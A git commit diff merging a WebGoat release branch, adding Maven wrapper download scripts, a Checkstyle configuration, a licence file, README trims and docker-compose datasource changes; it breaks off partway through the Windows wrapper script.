Merge branch 'release/v8.0.0.M26'
This commit is contained in:
commit
c8ac054093
117
.mvn/wrapper/MavenWrapperDownloader.java
vendored
Normal file
117
.mvn/wrapper/MavenWrapperDownloader.java
vendored
Normal file
@ -0,0 +1,117 @@
|
||||
/*
|
||||
* Copyright 2007-present the original author or authors.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
import java.net.*;
|
||||
import java.io.*;
|
||||
import java.nio.channels.*;
|
||||
import java.util.Properties;
|
||||
|
||||
public class MavenWrapperDownloader {
|
||||
|
||||
private static final String WRAPPER_VERSION = "0.5.5";
|
||||
/**
|
||||
* Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
|
||||
*/
|
||||
private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/"
|
||||
+ WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar";
|
||||
|
||||
/**
|
||||
* Path to the maven-wrapper.properties file, which might contain a downloadUrl property to
|
||||
* use instead of the default one.
|
||||
*/
|
||||
private static final String MAVEN_WRAPPER_PROPERTIES_PATH =
|
||||
".mvn/wrapper/maven-wrapper.properties";
|
||||
|
||||
/**
|
||||
* Path where the maven-wrapper.jar will be saved to.
|
||||
*/
|
||||
private static final String MAVEN_WRAPPER_JAR_PATH =
|
||||
".mvn/wrapper/maven-wrapper.jar";
|
||||
|
||||
/**
|
||||
* Name of the property which should be used to override the default download url for the wrapper.
|
||||
*/
|
||||
private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
|
||||
|
||||
public static void main(String args[]) {
|
||||
System.out.println("- Downloader started");
|
||||
File baseDirectory = new File(args[0]);
|
||||
System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath());
|
||||
|
||||
// If the maven-wrapper.properties exists, read it and check if it contains a custom
|
||||
// wrapperUrl parameter.
|
||||
File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);
|
||||
String url = DEFAULT_DOWNLOAD_URL;
|
||||
if(mavenWrapperPropertyFile.exists()) {
|
||||
FileInputStream mavenWrapperPropertyFileInputStream = null;
|
||||
try {
|
||||
mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);
|
||||
Properties mavenWrapperProperties = new Properties();
|
||||
mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);
|
||||
url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);
|
||||
} catch (IOException e) {
|
||||
System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'");
|
||||
} finally {
|
||||
try {
|
||||
if(mavenWrapperPropertyFileInputStream != null) {
|
||||
mavenWrapperPropertyFileInputStream.close();
|
||||
}
|
||||
} catch (IOException e) {
|
||||
// Ignore ...
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println("- Downloading from: " + url);
|
||||
|
||||
File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);
|
||||
if(!outputFile.getParentFile().exists()) {
|
||||
if(!outputFile.getParentFile().mkdirs()) {
|
||||
System.out.println(
|
||||
"- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'");
|
||||
}
|
||||
}
|
||||
System.out.println("- Downloading to: " + outputFile.getAbsolutePath());
|
||||
try {
|
||||
downloadFileFromURL(url, outputFile);
|
||||
System.out.println("Done");
|
||||
System.exit(0);
|
||||
} catch (Throwable e) {
|
||||
System.out.println("- Error downloading");
|
||||
e.printStackTrace();
|
||||
System.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
private static void downloadFileFromURL(String urlString, File destination) throws Exception {
|
||||
if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) {
|
||||
String username = System.getenv("MVNW_USERNAME");
|
||||
char[] password = System.getenv("MVNW_PASSWORD").toCharArray();
|
||||
Authenticator.setDefault(new Authenticator() {
|
||||
@Override
|
||||
protected PasswordAuthentication getPasswordAuthentication() {
|
||||
return new PasswordAuthentication(username, password);
|
||||
}
|
||||
});
|
||||
}
|
||||
URL website = new URL(urlString);
|
||||
ReadableByteChannel rbc;
|
||||
rbc = Channels.newChannel(website.openStream());
|
||||
FileOutputStream fos = new FileOutputStream(destination);
|
||||
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
|
||||
fos.close();
|
||||
rbc.close();
|
||||
}
|
||||
|
||||
}
|
3
.mvn/wrapper/maven-wrapper.properties
vendored
3
.mvn/wrapper/maven-wrapper.properties
vendored
@ -1 +1,2 @@
|
||||
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip
|
||||
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.2.1/apache-maven-3.2.1-bin.zip
|
||||
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar
|
||||
|
@ -15,6 +15,10 @@ git flow release start <version>
|
||||
mvn versions:set <<version>
|
||||
git commit -am "New release, updating pom.xml"
|
||||
git flow release publish
|
||||
|
||||
<<Make changes if necessary>>
|
||||
|
||||
git flow release finish <version>
|
||||
git push origin develop
|
||||
git push origin master
|
||||
git push --tags
|
||||
|
19
LICENSE.txt
Normal file
19
LICENSE.txt
Normal file
@ -0,0 +1,19 @@
|
||||
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
|
||||
Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
|
||||
This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along with this program; if
|
||||
not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
02111-1307, USA.
|
||||
|
||||
Getting Source ==============
|
||||
|
||||
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
42
README.MD
42
README.MD
@ -97,27 +97,10 @@ To change IP address add the following variable to WebGoat/webgoat-container/src
|
||||
server.address=x.x.x.x
|
||||
```
|
||||
|
||||
# Vagrant
|
||||
|
||||
We supply a complete environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
|
||||
|
||||
```shell
|
||||
$ cd WebGoat/webgoat-images/vagrant-training
|
||||
$ vagrant up
|
||||
```
|
||||
|
||||
Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant.
|
||||
WebGoat and WebWolf will automatically start when you login to this image.
|
||||
|
||||
|
||||
# Building a new Docker image
|
||||
|
||||
NOTE: Travis will create a new Docker image automatically when making a new release.
|
||||
|
||||
WebGoat now has Docker support for x86 and ARM (raspberry pi).
|
||||
### Docker on x86
|
||||
On x86 you can build a container with the following commands:
|
||||
|
||||
```Shell
|
||||
cd WebGoat/
|
||||
mvn install
|
||||
@ -128,31 +111,6 @@ docker login
|
||||
docker push webgoat/webgoat-8.0
|
||||
```
|
||||
|
||||
### Docker on ARM (Raspberry Pi)
|
||||
On a Raspberry Pi (it has yet been tested with a Raspberry Pi 3 and the hypriot Docker image) you need to build JFFI for
|
||||
ARM first. This is needed by the docker-maven-plugin ([see here](https://github.com/spotify/docker-maven-plugin/issues/233)):
|
||||
|
||||
```Shell
|
||||
sudo apt-get install build-essential
|
||||
git clone https://github.com/jnr/jffi.git
|
||||
cd jffi
|
||||
ant jar
|
||||
cd build/jni
|
||||
sudo cp libjffi-1.2.so /usr/lib
|
||||
```
|
||||
|
||||
When you have done this you can build the Docker container using the following commands:
|
||||
|
||||
```Shell
|
||||
cd WebGoat/
|
||||
mvn install
|
||||
cd webgoat-server
|
||||
mvn docker:build -Drpi=true
|
||||
docker tag webgoat/webgoat-8.0 webgoat/webgoat-8.0:8.0
|
||||
docker login
|
||||
docker push webgoat/webgoat-8.0
|
||||
```
|
||||
|
||||
# Run Instructions:
|
||||
|
||||
Once installed connect to http://localhost:8080/WebGoat and http://localhost:9090/WebWolf
|
||||
|
259
config/checkstyle/checkstyle.xml
Executable file
259
config/checkstyle/checkstyle.xml
Executable file
@ -0,0 +1,259 @@
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE module PUBLIC
|
||||
"-//Puppy Crawl//DTD Check Configuration 1.3//EN"
|
||||
"http://checkstyle.sourceforge.net/dtds/configuration_1_3.dtd">
|
||||
|
||||
<!--
|
||||
Checkstyle configuration that checks the Google coding conventions from Google Java Style
|
||||
that can be found at https://google.github.io/styleguide/javaguide.html.
|
||||
|
||||
Checkstyle is very configurable. Be sure to read the documentation at
|
||||
http://checkstyle.sf.net (or in your downloaded distribution).
|
||||
|
||||
To completely disable a check, just comment it out or delete it from the file.
|
||||
|
||||
Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
|
||||
-->
|
||||
|
||||
<module name="Checker">
|
||||
<property name="charset" value="UTF-8"/>
|
||||
|
||||
<property name="severity" value="error"/>
|
||||
|
||||
<property name="fileExtensions" value="java, properties, xml"/>
|
||||
<!-- Checks for whitespace -->
|
||||
<!-- See http://checkstyle.sf.net/config_whitespace.html -->
|
||||
|
||||
<module name="SuppressionFilter">
|
||||
<property name="file" value="${suppressionsLocation}" default="target/checkstyle-suppressions.xml"/>
|
||||
</module>
|
||||
<module name="TreeWalker">
|
||||
<module name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||
<property name="maximum" value="0"/>
|
||||
<property name="format" value="org\.junit\.Assert\.assert"/>
|
||||
<property name="message"
|
||||
value="Please use AssertJ imports."/>
|
||||
<property name="ignoreComments" value="true"/>
|
||||
</module>
|
||||
<module
|
||||
name="com.puppycrawl.tools.checkstyle.checks.imports.IllegalImportCheck">
|
||||
<property name="regexp" value="true"/>
|
||||
<property name="illegalPkgs"
|
||||
value="^sun.*, ^org\.apache\.commons\.(?!compress|dbcp2|lang|lang3|logging|io|pool2).*, ^org\.flywaydb\.core\.internal.*, ^org\.testcontainers\.shaded.*"/>
|
||||
<property name="illegalClasses"
|
||||
value="^com\.hazelcast\.util\.Base64, ^org\.junit\.rules\.ExpectedException, ^org\.slf4j\.LoggerFactory, ^reactor\.core\.support\.Assert, ^com\.google\.common\.collect\.Maps, ^com\.google\.common\.collect\.Sets, ^com\.google\.common\.collect\.Lists"/>
|
||||
</module>
|
||||
<module
|
||||
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||
<property name="maximum" value="0"/>
|
||||
<property name="format"
|
||||
value="assertThatExceptionOfType\((NullPointerException|IllegalArgumentException|IOException|IllegalStateException)\.class\)"/>
|
||||
<property name="message"
|
||||
value="Please use specialized AssertJ assertThat*Exception method."/>
|
||||
<property name="ignoreComments" value="true"/>
|
||||
</module>
|
||||
<module
|
||||
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||
<property name="maximum" value="0"/>
|
||||
<property name="format"
|
||||
value="@SneakyThrows"/>
|
||||
<property name="message"
|
||||
value="Please use a unchecked exceptions instead of @SneakyThrows gives compiler warnings"/>
|
||||
<property name="ignoreComments" value="true"/>
|
||||
</module>
|
||||
<module name="OuterTypeFilename"/>
|
||||
<module name="IllegalTokenText">
|
||||
<property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
|
||||
<property name="format"
|
||||
value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
|
||||
<property name="message"
|
||||
value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
|
||||
</module>
|
||||
<module name="AvoidEscapedUnicodeCharacters">
|
||||
<property name="allowEscapesForControlCharacters" value="true"/>
|
||||
<property name="allowByTailComment" value="true"/>
|
||||
<property name="allowNonPrintableEscapes" value="true"/>
|
||||
</module>
|
||||
<module name="OneTopLevelClass">
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="NoLineWrap"/>
|
||||
<module name="EmptyBlock">
|
||||
<property name="option" value="TEXT"/>
|
||||
<property name="tokens" value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
|
||||
</module>
|
||||
<module name="WhitespaceAround">
|
||||
<property name="allowEmptyConstructors" value="true"/>
|
||||
<property name="allowEmptyMethods" value="true"/>
|
||||
<property name="allowEmptyTypes" value="true"/>
|
||||
<property name="allowEmptyLoops" value="true"/>
|
||||
<message key="ws.notFollowed"
|
||||
value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
|
||||
<message key="ws.notPreceded"
|
||||
value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
|
||||
</module>
|
||||
<module name="OneStatementPerLine"/>
|
||||
<module name="MultipleVariableDeclarations"/>
|
||||
<module name="ArrayTypeStyle"/>
|
||||
<module name="MissingSwitchDefault"/>
|
||||
<module name="FallThrough"/>
|
||||
<module name="UpperEll"/>
|
||||
<module name="ModifierOrder"/>
|
||||
<module name="EmptyLineSeparator">
|
||||
<property name="allowNoEmptyLineBetweenFields" value="true"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<property name="id" value="SeparatorWrapDot"/>
|
||||
<property name="tokens" value="DOT"/>
|
||||
<property name="option" value="nl"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<property name="id" value="SeparatorWrapComma"/>
|
||||
<property name="tokens" value="COMMA"/>
|
||||
<property name="option" value="EOL"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/258 -->
|
||||
<property name="id" value="SeparatorWrapEllipsis"/>
|
||||
<property name="tokens" value="ELLIPSIS"/>
|
||||
<property name="option" value="EOL"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/259 -->
|
||||
<property name="id" value="SeparatorWrapArrayDeclarator"/>
|
||||
<property name="tokens" value="ARRAY_DECLARATOR"/>
|
||||
<property name="option" value="EOL"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<property name="id" value="SeparatorWrapMethodRef"/>
|
||||
<property name="tokens" value="METHOD_REF"/>
|
||||
<property name="option" value="nl"/>
|
||||
</module>
|
||||
<module name="PackageName">
|
||||
<property name="format" value="^[a-z]+(\.[a-z_][a-z0-9_]*)*$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Package name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="TypeName">
|
||||
<message key="name.invalidPattern"
|
||||
value="Type name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="MemberName">
|
||||
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Member name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="ParameterName">
|
||||
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9_]*)?$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Parameter name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="CatchParameterName">
|
||||
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="LocalVariableName">
|
||||
<property name="tokens" value="VARIABLE_DEF"/>
|
||||
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Local variable name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="ClassTypeParameterName">
|
||||
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Class type name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="MethodTypeParameterName">
|
||||
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Method type name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="InterfaceTypeParameterName">
|
||||
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Interface type name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="NoFinalizer"/>
|
||||
<module name="GenericWhitespace">
|
||||
<message key="ws.followed"
|
||||
value="GenericWhitespace ''{0}'' is followed by whitespace."/>
|
||||
<message key="ws.preceded"
|
||||
value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
|
||||
<message key="ws.illegalFollow"
|
||||
value="GenericWhitespace ''{0}'' should followed by whitespace."/>
|
||||
<message key="ws.notPreceded"
|
||||
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
|
||||
</module>
|
||||
<module name="AbbreviationAsWordInName">
|
||||
<property name="ignoreFinal" value="false"/>
|
||||
<property name="allowedAbbreviationLength" value="4"/>
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="OverloadMethodsDeclarationOrder"/>
|
||||
<module name="VariableDeclarationUsageDistance"/>
|
||||
<module name="CustomImportOrder">
|
||||
<property name="sortImportsInGroupAlphabetically" value="false"/>
|
||||
<property name="separateLineBetweenGroups" value="true"/>
|
||||
<property name="customImportOrderRules" value="THIRD_PARTY_PACKAGE###STATIC"/>
|
||||
</module>
|
||||
<module name="MethodParamPad"/>
|
||||
<module name="NoWhitespaceBefore">
|
||||
<property name="tokens" value="COMMA, SEMI, POST_INC, POST_DEC, DOT, ELLIPSIS, METHOD_REF"/>
|
||||
<property name="allowLineBreaks" value="true"/>
|
||||
</module>
|
||||
<module name="ParenPad"/>
|
||||
<module name="OperatorWrap">
|
||||
<property name="option" value="NL"/>
|
||||
<property name="tokens"
|
||||
value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF "/>
|
||||
</module>
|
||||
<module name="AnnotationLocation">
|
||||
<property name="id" value="AnnotationLocationMostCases"/>
|
||||
<property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
|
||||
</module>
|
||||
<module name="AnnotationLocation">
|
||||
<property name="id" value="AnnotationLocationVariables"/>
|
||||
<property name="tokens" value="VARIABLE_DEF"/>
|
||||
<property name="allowSamelineMultipleAnnotations" value="true"/>
|
||||
</module>
|
||||
<module name="NonEmptyAtclauseDescription"/>
|
||||
<module name="JavadocTagContinuationIndentation"/>
|
||||
<module name="SummaryJavadoc">
|
||||
<property name="forbiddenSummaryFragments"
|
||||
value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="JavadocParagraph">
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="AtclauseOrder">
|
||||
<property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
|
||||
<property name="target" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="JavadocMethod">
|
||||
<property name="tokens" value="CLASS_DEF,INTERFACE_DEF,ENUM_DEF,METHOD_DEF,ANNOTATION_FIELD_DEF"/>
|
||||
<property name="scope" value="public"/>
|
||||
<property name="allowMissingParamTags" value="true"/>
|
||||
<property name="allowMissingThrowsTags" value="true"/>
|
||||
<property name="allowMissingReturnTag" value="true"/>
|
||||
<property name="minLineCount" value="2"/>
|
||||
<property name="allowedAnnotations" value="Override, Test"/>
|
||||
<property name="allowThrowsTagsForSubclasses" value="true"/>
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="MethodName">
|
||||
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Method name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="SingleLineJavadoc">
|
||||
<property name="ignoreInlineTags" value="false"/>
|
||||
</module>
|
||||
<module name="EmptyCatchBlock">
|
||||
<property name="exceptionVariableName" value="expected"/>
|
||||
</module>
|
||||
<module name="CommentsIndentation"/>
|
||||
</module>
|
||||
</module>
|
11
config/checkstyle/suppressions.xml
Normal file
11
config/checkstyle/suppressions.xml
Normal file
@ -0,0 +1,11 @@
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE suppressions PUBLIC
|
||||
"-//Checkstyle//DTD SuppressionFilter Configuration 1.2//EN"
|
||||
"https://checkstyle.org/dtds/suppressions_1_2.dtd">
|
||||
<suppressions>
|
||||
<suppress files="MD5.java" checks="[a-zA-Z0-9]*" />
|
||||
<suppress files="VulnerableComponentsLesson.java" checks="[a-zA-Z0-9]*" />
|
||||
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
|
||||
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
|
||||
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
|
||||
</suppressions>
|
@ -7,7 +7,7 @@ services:
|
||||
environment:
|
||||
- WEBWOLF_HOST=webwolf
|
||||
- WEBWOLF_PORT=9090
|
||||
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
|
||||
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat?user=webgoat&password=webgoat
|
||||
- spring.datasource.username=webgoat
|
||||
- spring.datasource.password=webgoat
|
||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||
@ -19,7 +19,7 @@ services:
|
||||
webwolf:
|
||||
image: webgoat/webwolf
|
||||
environment:
|
||||
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
|
||||
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat?user=webgoat&password=webgoat
|
||||
- spring.datasource.username=webgoat
|
||||
- spring.datasource.password=webgoat
|
||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||
|
32
mvnw
vendored
32
mvnw
vendored
@ -114,7 +114,6 @@ if $mingw ; then
|
||||
M2_HOME="`(cd "$M2_HOME"; pwd)`"
|
||||
[ -n "$JAVA_HOME" ] &&
|
||||
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
|
||||
# TODO classpath?
|
||||
fi
|
||||
|
||||
if [ -z "$JAVA_HOME" ]; then
|
||||
@ -212,7 +211,11 @@ else
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
|
||||
fi
|
||||
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
|
||||
if [ -n "$MVNW_REPOURL" ]; then
|
||||
jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
|
||||
else
|
||||
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
|
||||
fi
|
||||
while IFS="=" read key value; do
|
||||
case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
|
||||
esac
|
||||
@ -221,22 +224,38 @@ else
|
||||
echo "Downloading from: $jarUrl"
|
||||
fi
|
||||
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
|
||||
if $cygwin; then
|
||||
wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
|
||||
fi
|
||||
|
||||
if command -v wget > /dev/null; then
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Found wget ... using wget"
|
||||
fi
|
||||
wget "$jarUrl" -O "$wrapperJarPath"
|
||||
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
|
||||
wget "$jarUrl" -O "$wrapperJarPath"
|
||||
else
|
||||
wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
|
||||
fi
|
||||
elif command -v curl > /dev/null; then
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Found curl ... using curl"
|
||||
fi
|
||||
curl -o "$wrapperJarPath" "$jarUrl"
|
||||
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
|
||||
curl -o "$wrapperJarPath" "$jarUrl" -f
|
||||
else
|
||||
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
|
||||
fi
|
||||
|
||||
else
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Falling back to using Java to download"
|
||||
fi
|
||||
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
|
||||
# For Cygwin, switch paths to Windows format before running javac
|
||||
if $cygwin; then
|
||||
javaClass=`cygpath --path --windows "$javaClass"`
|
||||
fi
|
||||
if [ -e "$javaClass" ]; then
|
||||
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
@ -277,6 +296,11 @@ if $cygwin; then
|
||||
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
|
||||
fi
|
||||
|
||||
# Provide a "standardized" way to retrieve the CLI args that will
|
||||
# work with both Windows and non-Windows executions.
|
||||
MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
|
||||
export MAVEN_CMD_LINE_ARGS
|
||||
|
||||
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
|
||||
|
||||
exec "$JAVACMD" \
|
||||
|
39
mvnw.cmd
vendored
39
mvnw.cmd
vendored
@ -37,7 +37,7 @@
|
||||
@echo off
|
||||
@REM set title of command window
|
||||
title %0
|
||||
@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
|
||||
@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
|
||||
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
|
||||
|
||||
@REM set %HOME% to equivalent of $HOME
|
||||
@ -120,23 +120,44 @@ SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
|
||||
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
|
||||
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
|
||||
|
||||
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
|
||||
FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO (
|
||||
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
|
||||
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
|
||||
|
||||
FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
|
||||
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
|
||||
)
|
||||
|
||||
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
|
||||
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
|
||||
if exist %WRAPPER_JAR% (
|
||||
echo Found %WRAPPER_JAR%
|
||||
if "%MVNW_VERBOSE%" == "true" (
|
||||
echo Found %WRAPPER_JAR%
|
||||
)
|
||||
) else (
|
||||
echo Couldn't find %WRAPPER_JAR%, downloading it ...
|
||||
echo Downloading from: %DOWNLOAD_URL%
|
||||
powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"
|
||||
echo Finished downloading %WRAPPER_JAR%
|
||||
if not "%MVNW_REPOURL%" == "" (
|
||||
SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
|
||||
)
|
||||
if "%MVNW_VERBOSE%" == "true" (
|
||||
echo Couldn't find %WRAPPER_JAR%, downloading it ...
|
||||
echo Downloading from: %DOWNLOAD_URL%
|
||||
)
|
||||
|
||||
powershell -Command "&{"^
|
||||
"$webclient = new-object System.Net.WebClient;"^
|
||||
